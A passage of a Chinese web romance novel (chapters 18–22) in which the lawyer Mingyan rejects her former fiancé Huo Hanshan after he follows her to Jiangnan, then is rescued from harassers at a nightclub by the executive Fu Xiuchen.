“明嫣那个贱人哪里比得上我?!”秦婉像是被踩了尾巴的猫,彻底撕掉了伪装,面目扭曲地吼道,“她不过就是一个不知道从哪里冒出来的野丫头!我才是跟寒山青梅竹马一起长大的!她现在都滚了!滚得远远的了!寒山哥迟早会看清谁才是真正适合他的人!” “适合?”韩晋冷笑一声,“适合天天搬弄是非?适合跑到别人女朋友面前耀武扬威?还是适合在人家婚礼当天闹自杀?” 秦婉的脸色瞬间血色尽失,嘴唇哆嗦着:“你……你胡说什么……” “我是不是胡说,你自己心里最清楚。”韩晋的眼神冰冷,“秦婉,给自己留点体面吧。老霍为什么躲着你,你难道真不明白?他以前容忍你,是看在你母亲救命的恩情上,现在明嫣走了,你那点情分也被你自己作没了。别再自取其辱了。” 这番话像一把把尖刀,狠狠扎进秦婉的心口,将她所有的伪装和幻想都撕得粉碎。 她气得浑身发抖,指着韩晋,‘你’了半天,却一句完整的话都骂不出来。 韩晋他懂什么? 她跟寒山是青梅竹马一起长大的情分! 只有她跟霍寒山才是一个世界的人,明嫣她根本就配不上寒山! “韩晋!你……你浑蛋!”秦婉最终只能色厉内荏地撂下一句毫无杀伤力的狠话,“你们都被明嫣那个狐狸精灌了迷魂汤了!你们会后悔的!” 韩晋看着她狼狈逃离的背影,摇了摇头,叹了口气。 他拿出手机,看到霍寒山登机前发来的短信,眉头又皱了起来。 江南…… 希望老霍这次,能顺利把人找回来吧。 …… 另一边,秦婉哭着跑出明寒律所的大楼,坐进自己的车里,趴在方向盘上痛哭失声。 巨大的屈辱感和不甘像毒蛇一样啃噬着她的心。 为什么? 为什么所有人都帮着明嫣? 那个贱人到底有什么好?! 哭了半天,她猛地抬起头,妆容早已哭花,眼神里却充满了怨毒和狠厉。 不行! 她绝对不能就这么算了! 寒山一定是去找明嫣了! 他刚才说出差…… 她擦干眼泪,拿出手机,拨通了一个号码,声音还带着哭腔,却异常冰冷:“喂?帮我查一下霍寒山今天的航班信息……对,立刻!马上!我要知道他现在到底在哪儿!” …… 江南,明嫣律师事务所。 虽然初创艰难,但凭借着从跃华虎口夺食的辉煌战绩,明嫣律师事务所在本地中小企业和创业圈里一夜之间打响了名气。 接连几天,咨询和委托的电话络绎不绝,办公桌上的案卷堆成了小山。 明嫣和陆奉归忙得脚不沾地,连吃饭的时间都是挤出来的。 明嫣很享受这种忙碌,它让她没有多余的时间和精力去胡思乱想,去回忆那些不该回忆的人和事。 她正埋头研究一份新的合同草案,放在桌上的手机又嗡嗡震动起来。 她下意识地瞥了一眼,先是一怔,随即眉头微微皱起—— 王梅。 霍寒山的母亲。 离开京都已经一个多月了,之前的手机号她一直都是关机状态,只是今天为了办理银行业务才临时插卡开机。 可她没想到,就这么点儿功夫,王梅竟然打来了电话。 明嫣抿了抿唇,抬手挂断了电话。 可是,没过一会儿,手机再次震动起来。 明嫣握着笔的手指下意识地收紧,她深吸一口气,这才摁下了接听键,“阿姨,您好。请问有什么事吗?” 第18章 霍寒山来了! “明嫣……” 王梅的声音带着一丝不易察觉的小心翼翼,“你……你这孩子怎么一声不吭地就走了?也不跟阿姨打个招呼,你……最近还好吗?是不是回家了?” 这一连串突如其来的问题,让明嫣觉得无比讽刺和陌生。 在过去五年里,王梅虽然认可她是霍寒山的女朋友,但态度始终是矜持甚至略带挑剔的,从未如此‘慈爱’过。 “我很好,谢谢阿姨关心。”明嫣的声音疏离而客气,“您有什么事就直说吧。” 王梅在那头似乎哽了一下,语气变得更加软和,甚至带上了几分恳求:“明嫣啊,之前……之前是寒山不对,阿姨代他向你道歉。那孩子就是这样的性子,轴得很,不会说话,惹你生气了……但你也不能说走就走啊,还辞了职卖了房,你这孩子……得多伤心啊……” 明嫣沉默地听着,心口像是被什么东西堵着,又酸又涩。 这些话若是在一个月之前听到,她保证会感动得稀里哗啦。 可现在—— 就只觉得讽刺。 “阿姨知道,婚礼的事是寒山混账,委屈你了。”王梅继续说着,“你回来吧,好不好?阿姨保证,这次一定让他风风光光地把你娶进门!你们先去把证领了,婚礼咱们慢慢筹备,一定办得比上次还隆重,好不好?别再跟寒山赌气了,他这段时间跟丢了魂似的,天天不着家,就知道找你,人都瘦了一圈了……” 听着王梅的话,明嫣只觉得无比疲惫。 看,直到现在,他们都还以为她只是在赌气。 以为弥补给她一场婚礼,就能抹平所有的伤害和失望。 她闭上眼,再睁开时,眼底只剩下一片清明和决绝:“阿姨。” 她打断王梅的话,“谢谢您的好意。但是,我和霍寒山已经结束了,不是赌气,是深思熟虑后的决定。请您以后,不要再为这件事给我打电话了。也请您转告他,不要再找我了,各自安好吧。” 电话那头的王梅似乎完全没料到她会如此干脆利落地拒绝,愣了好几秒,声音陡然拔高,带上了惯有的不满和急躁:“明嫣!你怎么这么不懂事?!寒山他都这样找你了,你还想怎么样?难道非要他跪下来求你吗?他就天生这样冷淡的性子,对你已经很不一样了……” “阿姨!”明嫣加重了语气,再次打断她,心底最后那点因为对方是长辈而残存的客气也消失殆尽,“我很忙,如果没有其他事,我先挂了。祝您身体健康。” 说完,不等王梅再开口,她直接挂断了电话,并且将这个号码拖进了黑名单。 世界终于清静了。 她靠在椅背上,揉了揉太阳穴。 就在她努力平复心情,准备重新投入工作时,办公室门外突然传来陆奉归大惊小怪的声音,由远及近: “老板!老板!你快出来看看!猜猜谁来了?!” 他的声音里充满了难以置信的激动和兴奋,甚至有些变调。 明嫣被他吵得心烦意乱,还以为是他又拉来了什么意想不到的大客户,勉强打起精神,一边起身一边无奈道:“来了来了,多大的人了,能不能稳重点……” 她说着,拉开了办公室的门。 而此时的办公室门外,陆奉归一脸兴奋地侧身让开,他身后,那个西装革履却掩不住风尘仆仆的男人,赫然闯入了明嫣的视线。 走廊顶灯的光线落在他深邃的眉眼间,那双曾经冰冷淡漠的眼睛,此刻正一瞬不瞬地凝望着她,里面翻涌着太多复杂汹涌的情绪。 是……霍寒山。 明嫣脸上的表情瞬间凝固,握着门把的手猛地收紧,血液在刹那间涌向四肢百骸,又急速褪去,留下冰冷的麻木和一种近乎荒谬的眩晕感。 世界仿佛在这一刻静止。 所有的声音都褪去,只剩下她骤然失控的心跳声,一下,一下,撞击着耳膜。 她自认做得足够隐蔽,切断了所有过去的联系,甚至没有告诉任何京都的旧友她的去向。 可她没有想到,他还是找来了…… 霍寒山看着她的脸,喉结剧烈地滚动了一下,千言万语堵在喉咙口,最终只化作一声沙哑的低唤: “嫣嫣……” 霍寒山就那样站在那里,风尘仆仆,西装外套的领口微敞,露出里面一丝不苟却略显凌乱的衬衫领口。 他似乎清瘦了许多,下颌线更加锋利,眼下的乌青清晰可见,但那双向来冷冽的眸子此刻却像燃着两簇幽暗的火,紧紧锁住她,里面翻涌着太多她看不懂也不想看懂的情绪——急切、悔恨、痛苦,还有一种近乎偏执的灼热。 陆奉归还在一旁激动得语无伦次:“老板!是霍律师!霍律师来江南了!他肯定是来找你的!我就说嘛……” 他的声音像是从很远的地方传来,模糊不清。 明嫣的手指下意识地蜷缩起来,指甲深深陷进掌心,细微的刺痛感让她瞬间从巨大的震惊和僵滞中回过神。 不能慌。 她对自己说。 他们已经结束了。 明嫣深吸一口气,强行压下胸腔里翻江倒海的情绪,她甚至没有看霍寒山,而是将目光转向一脸兴奋的陆奉归,语气平静无波,“以后无关人员不要随意带进来,下次注意。” “啊?”陆奉归脸上的笑容僵住了,像是没听懂她的话。 他可是霍寒山! 享誉全圈的顶级律师! 他的偶像! “老板,他是霍……” “我知道他是谁。”明嫣打断他,声音不大,却带着不容置疑的冷淡,“但这与我们律所目前的业务无关。陆律师,你手头有关于跃华的后续执行细节整理好了吗?客户下午就要。” 她的话像一盆冰水,兜头浇灭了陆奉归所有的激动和热情。 他这才后知后觉地察觉到气氛不对劲——明嫣的表情太冷了,冷得没有一丝温度,而霍寒山虽然站在那里,周身却散发着一种极其压抑紧绷的气场。 这……不像久别重逢的喜悦,倒像是…… 陆奉归心里咯噔一下,瞬间噤声,不敢再多话,连忙低下头:“还……还没,我这就去整理!” 说完,他几乎是落荒而逃般地溜回了自己的工位,假装忙碌,却竖起了耳朵。 而此时的办公室门口,只剩下明嫣和霍寒山。 空气凝滞的可怕,落针可闻。 霍寒山看着她那张平静得过分的脸,看着她眼中彻骨的疏离和冷漠,心脏像是被一只冰冷的手狠狠攥住,痛得他几乎无法呼吸。 他想象过无数次找到她时的场景。 她可能会哭,可能会骂他,可能会打他,甚至可能会转身就跑…… 任何一种激烈的反应,他都有心理准备,他都愿意承受。 唯独没有想过,她会是这样一副样子。 平静。 是那种将他视为无关紧要的陌生人的平静。 这比任何指责和怨恨都更让他恐慌。 第19章 千里追妻 “明嫣……”他上前一步,声音嘶哑得厉害,“我……我终于找到你了。” 明嫣终于抬眸,正视他。 她的眼神清亮,却没有任何波澜。 霍寒山也望着她。 面前的少女依旧是他记忆中的漂亮模样,若是再笑得眉眼弯弯地跟他说话,他肯定会以为这一个多月只是他大梦一场。 “霍律师,”她开口,声音平稳得没有一丝起伏,“你找我有事?” ‘霍律师’三个字,像三根冰冷的针,狠狠扎进霍寒山的心里。 她以前私底下,从来都是连名带姓地叫他‘霍寒山’,生气的时候会叫,开心的时候会叫,偶尔撒娇时也会软软地叫…… “我……”千言万语堵在喉咙口,他喉结剧烈滚动了一下,最终只是干涩地挤出几个字:“嫣嫣,我找了你很久,终于找到你了……” 他下意识地想要去握明嫣的手腕,却被她下意识地躲过,“你找我做什么?我们已经分手了。” “我没有同意。” 明嫣几乎要冷笑出声。 “分手这种事情不需要征求你的意见……” 更何况,她现在很好。 没有那些无止境的失望和等待,没有需要她去揣摩和讨好的冷漠,更没有插足在他们之间上蹿下跳的小青梅,她好得不能再好。 她微微侧身,做出了送客的姿态,“如果霍律师没有其他公事,我还要忙,恕不奉陪了。” 她的冷漠像一把钝刀,一下下凌迟着霍寒山的神经。 他看着她转身就要回办公室,几乎是本能的猛地伸出手,想要抓住她的手腕,“明嫣,我们谈谈好不好?” 明嫣猛地甩开了他的手,后退一步,与他拉开距离。 少女瓷白的脸上终于出现了一丝裂痕,但那不是动容,而是浓浓的厌恶和愤怒。 霍寒山只觉得心口处被撒了一把羊毛针,让他有些喘不上气来。 因为天生的情感冷漠症,很多时候,他都无法与人共情,他不知道别人为什么开心、生气、难过,更不会关心这些。 可如今,他却有些不知所措。 一直以来,都是明嫣像只明亮的小太阳一样围着他叽叽喳喳地转,他以前只觉得烦,可如今这个小太阳离开了他,却让他陷入无限的恐慌之中。 “明嫣,我错了,你原谅我好不好?”霍寒山的眉头紧皱,他记得韩晋送他来机场前的嘱托,让他跟明嫣道歉。 他虽然不知道为什么要这么做,但是,韩晋既然反复嘱托的事情,肯定是有他的道理。 “霍寒山!”明嫣连名带姓地叫他。 霍寒山的眼底燃起亮光,满脸希冀地望向她。 可是,此时少女的脸上却不是他预料之中的欢喜,而是极力压制的怒火,“请你放尊重点!这里是律师事务所!我不是你召之即来挥之即去的宠物!你想忽略就忽略,想起来了就跑来纠缠!” “你的道歉对我来说毫无意义!”她的眼神锐利如刀,每一个字都像淬了冰,“我不需要你的对不起,我只求你离我的生活远一点!你看不见我吗?我现在过得很好!没有你,我非常好!” “不是的……明嫣,我不是……”霍寒山被她眼中毫不掩饰的厌恶刺得遍体鳞伤,心慌意乱地想要解释,“我不是那个意思,我只是……我只是想弥补,我想……” “弥补?” 明嫣像是听到了什么天大的笑话,唇角勾起一抹极尽讽刺的弧度,“你打算拿什么弥补?再许给我一场盛大婚礼的空头支票?还是又一句轻飘飘的‘下次不会了’?霍寒山,我们已经结束了!” 霍寒山的脸色惨白如纸,嘴唇翕动着,却发不出任何声音。 她说的每一个字,都是他无法反驳的事实,都是他亲手铸成的错。 “你走吧,以后不要来找我了!” 说完,她不再看他一眼,猛地转身,‘砰’的一声重重关上了办公室的门,将霍寒山彻底隔绝在门外。 巨大的关门声在空旷的走廊里回荡,震得霍寒山耳膜嗡嗡作响。 他僵在原地,像一尊被遗弃的石像,浑身的血液都仿佛被冻结了。 办公室里,明嫣背靠着冰冷的门板,身体控制不住地微微发抖。 刚才强撑出来的冷静和强势在瞬间瓦解,心脏剧烈地跳动着,带着一种迟来的钝痛和酸楚。 她以为她早已放下,早已不在乎。 可当他真的出现在眼前,那些被刻意压抑的委屈、愤怒和失望,还是如同潮水般汹涌而来,几乎将她淹没。 门外,久久没有传来离开的脚步声。 只有一片死寂。 仿佛过了一个世纪那么久,才听到沉重而缓慢的脚步声,一步一步,渐行渐远。 他走了。 明嫣缓缓滑坐到地上,将脸埋进膝盖里,肩膀微微耸动。 这一次,是真的结束了吧。 …… 跃华生物大厦。 法务部总监办公室。 周慕言刚挂断一个客户的电话,揉了揉发胀的太阳穴,一想到昨晚通宵达旦的加班地狱,他就恨不得以头抢地。 他家傅总也不知道是哪根筋搭错了,突然搞这么一出,简直要了老命。 就在这时,他的私人手机响了起来。 瞥见屏幕上跳跃的名字,周慕言挑了挑眉,嘴角勾起一抹看好戏的弧度,慢悠悠地接了起来,语气拖得老长:“喂?霍大律师?又有什么指示啊?这是到江南了?需要我给你导航吗?” 电话那头的霍寒山沉默了几秒,呼吸声有些重,似乎正在走路,背景音里有隐约的车流声。 他没有像往常一样冷冰冰地反唇相讥,而是声音低沉地直接问道:“你昨天见到她了?” 周慕言脸上的笑容更深了,悠哉悠哉地转着笔:“见到谁啊?霍律师,你说清楚点嘛,我昨天见的人可多了。” “周慕言!”霍寒山的声音里罕见地带着几分急躁和压抑的火气,“你昨天是不是见到明嫣了?” “哦……明嫣小师妹啊!”周慕言故意拉长了语调,笑得不怀好意,“见到了啊,怎么?霍律师这是……千里追妻追到江南来了?动作够快的啊!” 第20章 活该! 周慕言几乎能想象到电话那头霍寒山此刻憋屈又不得不低头问他的模样,心里简直爽翻了天。 这么多年被霍寒山压一头的恶气,终于出了! 霍寒山再次沉默,默认了他的说法。 周慕言更来劲了,八卦之魂熊熊燃烧:“我说,你到底怎么人家了?能把那么死心塌地跟着你的人都给气跑了?这得是犯了多大罪过啊?该不会是出轨……” “没有!”还没等他说完,霍寒山就冷声打断他,声音硬邦邦的,“是一些……误会,和我本身的问题。” 他显然不擅长解释和倾诉,语气干涩。 “误会?”周慕言才不信,“得了吧,就明小师妹那脾气,能因为你一点小误会就气成这样?” “要不你喊我一声学长,说不定我心一软,还能给你支两招呢?毕竟江南可是我的地盘,近水楼台先得月嘛……” 他本是习惯性的调侃,并不觉得霍寒山真的会低头。 然而,电话那头陷入了长久的沉默。 久到周慕言以为信号断了。 就在他准备再调侃两句时,霍寒山的声音突然传了过来,“周慕言……”他顿了顿,每一个字都像是从牙缝里挤出来的,“学长。” “……” 周慕言脸上的笑容瞬间僵住,手里的笔‘啪嗒’一声掉在了桌子上。 他猛地坐直了身体,简直不敢相信自己的耳朵! 他刚才听到了什么? 霍寒山? 那个眼高于顶、冷漠寡情,从来只把他当空气的霍寒山? 竟然……叫他学长了?! 虽然是为了打探明嫣的消息被迫低头,但这破天荒的第一次,简直比太阳从西边出来还让周慕言震惊! “卧槽……”周慕言下意识地爆了句粗口,眼睛瞪得溜圆,“霍寒山,你……你来真的啊?那明嫣小丫头到底给你灌什么迷魂汤了?竟然能让你这万年冰山低头喊学长?你这哪是栽了,你这是连人带冰山直接掉进马里亚纳海沟了吧?!” 霍寒山在那头没有反驳,只是呼吸声又重了几分,像是在极力忍耐着什么,又像是在默认。 周慕言消化了好一会儿这个惊天大瓜,才啧啧称奇地摇头,“行了行了,看在你这么有‘诚意’的份上……说说吧,具体什么情况?见面了?吃闭门羹了?被骂得狗血淋头了?” 霍寒山言简意赅,声音沉闷:“她不想见我,让我滚。” “哈哈哈!”周慕言很不给面子地笑出了声,“活该!让你以前对人爱答不理!现在知道错了吧?我们明嫣小师妹那可是人间清醒,甩了你那是及时止损!” 他笑够了,才摸着下巴,开始搜肠刮肚地回想昨天见明嫣的情景,以及自己对情场认识的理论知识,准备好好“指点”一下这个感情上的白痴。 “要我说啊,你这事儿办得就蠢。直接冲上门堵人,是最下乘的做法。明嫣那性子,外柔内刚,你越逼她,她反弹越厉害。你得……”周慕言说得正起劲,唾沫横飞。 然而,他后面的话还没说出口,办公室桌突然被人敲了两下。 周慕言下意识地扭头,只见傅修沉面无表情地站在他身后! “!!!” 周慕言脸上的笑容瞬间冻结,所有声音都卡在了喉咙里。 他手忙脚乱地想要挂断电话,却已经来不及了。 傅修沉的视线在他脸上停留了一瞬,那双深不见底的眸子似乎更冷了几分,语气平淡无波,却带着一股无形的压力:“周律师。” 周慕言心里咯噔一下,连忙站起身:“傅总……” 傅修沉的目光扫过他桌上堆积的文件,又落回他脸上,淡淡开口:“恒源的案子,对方提出了新的和解方案,法务部的评估报告我看过了,不够详细。” 周慕言一愣:“傅总,那个案子的评估报告昨天不是已经……” “重新做。”傅修沉打断他,语气不容置疑,“我要看到所有潜在风险的量化分析,以及最坏情况下的损失预估模型。明天早上,我要看到报告放在我桌上。” “明……明天早上?”周慕言眼前又是一黑,差点一口气没上来。 恒源那个案子涉及复杂的跨境知识产权问题,光是理清法律关系就要耗费大量时间,还要做量化分析和建模?!这又是一个通宵的节奏! “傅总,这时间是不是……”周慕言试图挣扎。 傅修沉抬眸,眼神没什么温度:“有困难?” 周慕言瞬间怂了,把到嘴边的话硬生生咽了回去,干笑一声,“没……没有困难!明天一早给您!” 傅修沉不再多言,淡淡地瞥了他一眼,转身离开,留下周慕言一个人欲哭无泪。 他有气无力地瘫回椅子上,看着桌上堆积如山的案卷,恨不得以头抢地。 他家大老板这是什么情况? 他到底哪里惹到他了? 怎么天天就逮着他一个人往死里薅! …… 而另一边,明嫣律师事务所。 虽然被霍寒山的突然出现搅乱了心绪,但生活还要继续,工作更是最好的麻痹剂。 明嫣又接了一个新的委托案子,一家本地的小型设计公司被指控涉嫌抄袭一家大公司的广告创意。 对方来势汹汹,证据看似确凿,但明嫣在研究案卷时,发现其中有些蹊跷,很可能涉及对方公司内部人员的构陷和证据伪造。 而要找到突破口,关键证据可能隐藏在一次关键的商务应酬中——据说当时对方公司的负责人和这家设计公司的前员工曾在某个高端夜总会‘烟雨江南’有过秘密接触。 “老板,这……真要去啊?”陆奉归看着手里关于‘烟雨江南’的资料,脸色有些发怵,“那地方听说乱得很,背景也复杂,咱们两个人去,能行吗?” 明嫣正在整理微型录音设备和隐藏摄像头,闻言头也没抬:“不然呢?证据不会自己送上门。对方咬得很死,这是目前唯一的突破口。放心,我们只是去假装客人,搜集一些环境和人证信息,不会有什么危险。” 她表面上镇定自若,其实心里也有些打鼓。 那种地方鱼龙混杂,确实存在不确定性。 但为了当事人的清白,也为了律所的口碑,这个险值得冒。 第21章 她的手,是你能碰的? 傍晚华灯初上。 ‘烟雨江南’夜总会门口已经是霓虹闪烁,豪车云集。 夜总会内,光线暧昧迷离。 震耳欲聋的音乐撞击着鼓膜,舞池里人影攒动,空气中混杂着酒精、香水和某种躁动不安的暧昧气息。 明嫣深吸一口气,挽住了陆奉归的胳膊。 两人相携走入大厅,眩目的灯光切割着迷乱舞动的人群。 为了今晚的行动,她特意换上了一条平时绝不会穿的黑色吊带短裙,勾勒出姣好的身材曲线,脸上化了稍浓的妆容,褪去了几分律师的干练,添了几分妖娆和妩媚。 陆奉归身体僵硬,手心都在冒汗,压低声音:“老板……我,我有点晕……” “镇定点。”明嫣掐了他胳膊一下,目光却不动声色地扫视着周围的环境,寻找着可能与案卷描述相符的包厢或人物,“就当是来玩的,自然一点,别一副要上战场的表情。” “老……老板,我尽量……”陆奉归声音发紧,手心都在冒汗。 他这辈子都没来过这么纸醉金迷的地方。 明嫣按照之前打听到的信息,朝着据说那位前员工和对方负责人常去的VIP区域走去。 …… 而与此同时,二楼一间视野极佳的VIP包厢内,却是另一番景象。 这里隔音极好,将外面的喧嚣浮躁尽数屏蔽,氛围松弛而矜贵。 冰桶里镇着年份绝佳的酒液,空气中是高级雪茄的淡淡醇香。 几个男人散坐在昂贵的真皮沙发上,姿态慵懒,谈笑风生。 他们衣着看似随意,却无一不是剪裁考究,质地精良,腕间不经意露出的手表更是价值不菲,通身透着一种居于食物链顶端的从容与矜贵。 “所以说,傅公子这是打算在江南扎根,彻底把‘沪圈太子爷’这名头拱手让人了?”一个穿着骚包印花衬衫的男人笑着打趣。 他是许宴清,许家的小儿子,如今在江南打理部分家族生意,也是这家‘烟雨江南’股东之一。 傅修沉慵懒地靠坐在真皮沙发上,长腿交叠,指间夹着一支未点燃的雪茄。 暖昧的光线落在他轮廓分明的侧脸,眼尾那颗朱砂痣在昏暗光线下若隐若现,平添几分难言的魅惑。 他懒懒地掀了下眼皮,没接这话,反而踢了踢许宴清的鞋尖,“你小子倒是入乡随俗,把这‘副业’经营得风生水起。” 旁边另一人笑道:“宴清这叫发挥特长,他这张脸,这身段,不去鸭店当头牌真是行业损失。” “滚蛋!” 许宴清笑骂一声,精准地接住傅修沉抛过来的金属打火机,在修长指间利落地转了个圈,动作潇洒不羁。 他挑眉,眼底带着玩世不恭的笑意,“我这是给兄弟们提供一个放松的据点,懂什么?” 另一人将话题拉回正轨,看向傅修沉:“傅少,说真的,江南这边局面已经打开,傅氏根基也稳了,就没考虑过回京都?那边才是真正的风云际会。” 傅家在魔都根基深厚,称傅修沉一句“沪圈太子爷”都不过分,可他偏偏另辟蹊径,几年前就来江南独自开拓,硬生生将傅氏集团这块招牌在江南擦得锃亮,产业规模翻了几番。 原本大家都以为江南这边基业初成,傅修沉该挥师北上,剑指京都了,可他却似乎安于江南,丝毫没有北上的意向。 傅修沉神色淡漠:“京都太吵了,江南挺好的。” 语气里听不出什么情绪,却自有一股不容置喙的决断。 几人皆知他的性子,便也不再深劝。 很快,包厢里的人说说笑笑,话题从生意转到近况,又不可避免地提到了圈内的一些人和事。 不知是谁,话锋一转,忽然提到了一个名字:“哎,你们听说了吗?京都那个赫赫有名的‘第一律师’霍寒山,最近好像来江南了。” “霍寒山?明寒律所那个?他不在京都坐镇,跑江南来干什么?” “谁知道呢,听说在到处找人。不过他的业务能力确实是这个,”那人比了个大拇指,“谁家要是有棘手的商业案子,趁他在,赶紧去堵人,机会难得。” “霍寒山……”有人沉吟,“听说性格冷得很,不太好请。” “有本事的人嘛,总有点脾气……” 包厢里议论声渐起。 傅修沉靠在沙发里,面无表情地听着,指节无意识地摩挲着冰凉的酒杯壁。 听到“霍寒山”三个字时,他眸色几不可察地沉了沉,眉头微不可见地蹙起。 他端起酒杯,将杯中残余的琥珀色液体一饮而尽,喉结滚动间,一丝莫名的烦躁悄然升起。 他下意识地扭过头,视线透过包厢那面巨大的单向透明玻璃墙,望向外面光怪陆离,人头攒动的舞池。 目光原本只是随意地扫过,却在下一秒骤然定格—— 一个穿着黑色吊带裙的熟悉身影,正被一个举止略显局促的男人搂着腰,混在人群中跳舞。 那男人动作生硬,明显心不在焉,目光四处乱瞟。 是明嫣…… 和她那个看起来就不太聪明的助理。 她怎么会在这里?还穿成这个样子? 跟那个助理…… 傅修沉的眉头瞬间蹙起,眼底掠过一丝连自己都未曾察觉的冷厉。 …… 而此时的明嫣还在试图四处搜集证据。 只不过,她的容貌和身段在人群中太过惹眼,很快便吸引了几个明显喝高了的男人的注意。 那几人互相使了个眼色,嬉笑着围了上去,其中一个黄毛直接伸手,粗鲁地推开了笨拙的陆奉归,咸猪手就朝着明嫣的腰肢搂去。 “美女,一个人啊?陪哥几个喝一杯去?”流里流气的调笑淹没在震耳的音乐里,却显得格外刺耳。 陆奉归被推得一个趔趄,反应过来后立刻想冲上去:“你们干什么!放开她!” 可还没等他靠前,却被另一个壮汉轻易地搡开,差点摔倒在地。 明嫣脸色骤变,迅速后退一步,躲开那只手,厉声道:“请你们放尊重点!我们不认识你们!” “喝一杯就认识了啊!”黄毛嬉皮笑脸,再次逼近,旁边他的同伴也起哄着围上来,试图将明嫣和他们与陆奉归隔开,“哥哥们那桌酒好,保证让你开心!” “我是律师!你们现在的行为已经构成性骚扰,我可以告你们!”明嫣强迫自己冷静,试图用法律威慑他们,手悄悄摸向手包里的防狼喷雾。 “律师?哎呦,我好怕哦!”那几人显然喝多了,根本不吃这一套,反而更加兴奋,“律师妹妹更带劲!走吧走吧,别扫兴!” 说着,几人竟开始动手动脚,拉扯着明嫣就要往他们的卡座方向去。 陆奉归急得眼睛都红了,想冲上去却被死死拦住。 周围的音乐震天响,其他人要么没注意,要么事不关己高高挂起,这种场合下的骚乱似乎司空见惯。 明嫣的心沉到了谷底,奋力挣扎,却敌不过几个男人的力气。 就在她几乎要被强行拖走,准备掏出防狼喷雾拼个鱼死网破之际—— 一道冷冽低沉,却极具穿透力的声音骤然响起,如同冰刃划破喧闹的音乐: “她的手,是你能碰的?” 第22章 不想欠我人情? 拉扯着明嫣的黄毛动作一僵,下意识地回头。 他脸上没什么表情,眼神淡漠地扫过那几个闹事的男人,最后落在被拉扯得衣衫微乱、脸色发白的明嫣身上。 那目光,沉静如水,却带着一种令人心悸的无形压力。 “你他妈谁啊?少多管闲事!”黄毛被对方的气场慑了一瞬,随即酒意上头,壮着胆子骂骂咧咧,抓着明嫣手腕的手却下意识松了几分力道。 傅修沉没理会他的叫嚣,迈步上前。 他步伐沉稳,所过之处,围观的人群像是被无形的手分开,不由自主地为他让开一条路。 他径直走到明嫣面前,视线在她微微泛红的手腕上停留了一瞬,眸色倏然转冷。 下一刻,他出手快如闪电—— 没人看清他是怎么动作的,只听到黄毛发出一声杀猪般的惨叫:“啊——!我的手!” 傅修沉修长有力的手指如同铁钳,精准地扣住了黄毛那只不安分的手腕,反向一折! 清脆的骨节错位声被音乐淹没,但黄毛瞬间惨白的脸色和扭曲的表情却说明了一切。 傅修沉面无表情地甩开他的手,仿佛掸掉什么脏东西。 黄疼得抱着手腕蜷缩在地,冷汗涔涔,酒彻底醒了,只剩下惊恐。 其他几人见状,酒醒了大半,看着傅修沉通身的气派和干脆利落的身手,意识到这人绝非善茬,可能惹不起,顿时色厉内荏地虚张声势:“你……你等着!” 傅修沉冷冷地扫了他们一眼,那眼神如同在看一堆垃圾:“滚。” 那几人被他眼神中的寒意慑住,搀扶着惨叫的同伴,灰溜溜地迅速消失在人群里。 一场突如其来的危机,就这样被干脆利落地化解。 整个过程不过几十秒。 快得让明嫣有些反应不过来。 她怔怔地看着突然出现的傅修沉,心脏还在因为刚才的惊吓和后怕而剧烈跳动,呼吸微促。 一场风波,被他轻而易举地化解。 音乐依旧喧嚣,但这一小片区域却陷入了诡异的安静。 陆奉归这才连滚爬爬地冲过来,脸色惨白:“老板!你没事吧?吓死我了!” 明嫣惊魂未定,松开抓着傅修沉衣服的手,“我没事,谢谢傅总。” 傅修沉转过身,深邃的目光落在她身上…… 他的眉头蹙得更紧:“明律师,这种地方不是你该来的。” 明嫣抿了抿唇,还没想好怎么解释,陆奉归已经抢先一步,带着后怕和感激,脱口而出:“傅总,我们是来找证据的!有个案子……” “奉归!”明嫣急忙打断他。 但已经晚了。 傅修沉的目光在两人之间扫了一圈,瞬间明白了大概。 他脸色微沉,没再多问,只是淡淡道:“这里不是说话的地方,跟我来。” 说完,不由分说,转身便朝着二楼VIP区域走去。 明嫣和陆奉归对视一眼,只好跟上。 穿过喧闹的大厅,踏上铺着柔软地毯的楼梯,楼下的喧嚣被逐渐隔绝。 走廊安静而私密,与楼下的迷乱仿佛是两个世界。 傅修沉推开一扇厚重的包厢门,里面奢华的景象和几位气质不凡的男人让明嫣和陆奉归脚步一顿。 “傅少,这什么情况?英雄救美去了?”许宴清挑眉,好奇地打量着跟在傅修沉身后的明嫣和陆奉归,目光尤其在明嫣身上多停留了几秒。 傅修沉没理会好友的调侃,对明嫣道:“进来坐。”随即对许宴清使了个眼色。 许宴清会意,虽然好奇,但还是笑着起身:“行,你们聊,我们换个地儿喝。” 说着,便招呼着其他几个朋友离开了包厢,顺便把一脸懵的陆奉归也半推半请地带了出去。 转眼间,喧闹的包厢里只剩下傅修沉和明嫣两人。 突然的安静让气氛变得有些微妙。 明嫣有些不自在地拉了拉过短的裙摆,低声道:“傅总,刚才的事真的非常感谢……” 傅修沉走到沙发边坐下,指了指对面的位置,示意她坐。 他拿起一瓶未开封的矿泉水,拧开,递给她。 “什么案子,需要明律师亲自来这种地方冒险取证?”他开门见山,声音听不出情绪。 明嫣接过水,指尖微凉。 她犹豫了一下,想到方才他的出手相助,以及此刻的处境,便简略地将设计公司被诬陷抄袭,可能需要从‘烟雨江南’这里找到对方构陷证据的事情说了一遍。 傅修沉安静地听着,指间的雪茄轻轻转动。 “所以,就你们两个?”他听完,抬眸看她“没有任何安保措施,就敢来这种地方查这种事?明嫣,你是律师,不是警察。” 他的语气清冷平静,却让明嫣感到一阵无地自容的窘迫。 她知道这次行动确实欠考虑,太过冒险。 “我……”她张了张嘴,想辩解,却发现无从辩起。 傅修沉看着她微垂着头,露出一截白皙脆弱的脖颈,与方才在楼下强装镇定,据理力争的模样判若两人,心头那点莫名的火气消散了些许。 他掐灭了根本没点燃的雪茄,身体微微前倾,目光沉静地锁住她。 “这件事,我来处理。” 明嫣猛地抬起头,下意识地想要拒绝:“傅总,这怎么好意思再麻烦您?这是我自己的案子,我自己可以……” “你可以?”傅修沉打断她,“刚才如果不是我恰好看见,你打算怎么‘可以’?用你那瓶防狼喷雾对付四五个醉汉?还是指望你那个连自己都护不住的助理?” 他的话一针见血,毫不留情,让明嫣瞬间哑口无言,脸颊因为窘迫和一丝被看轻的恼怒而微微泛红。 她攥紧了手指,指甲掐进掌心。 她知道他说的是事实,刚才的情形确实危险,若非他及时出现,后果不堪设想。 可是…… “这里是‘烟雨江南’。” 傅修沉靠回沙发,语气平淡,却点出了一个冰冷的事实,“许宴清的地盘,水深得很。你一个外地来的小律师,单枪匹马想在这里挖证据,无异于以卵击石。” 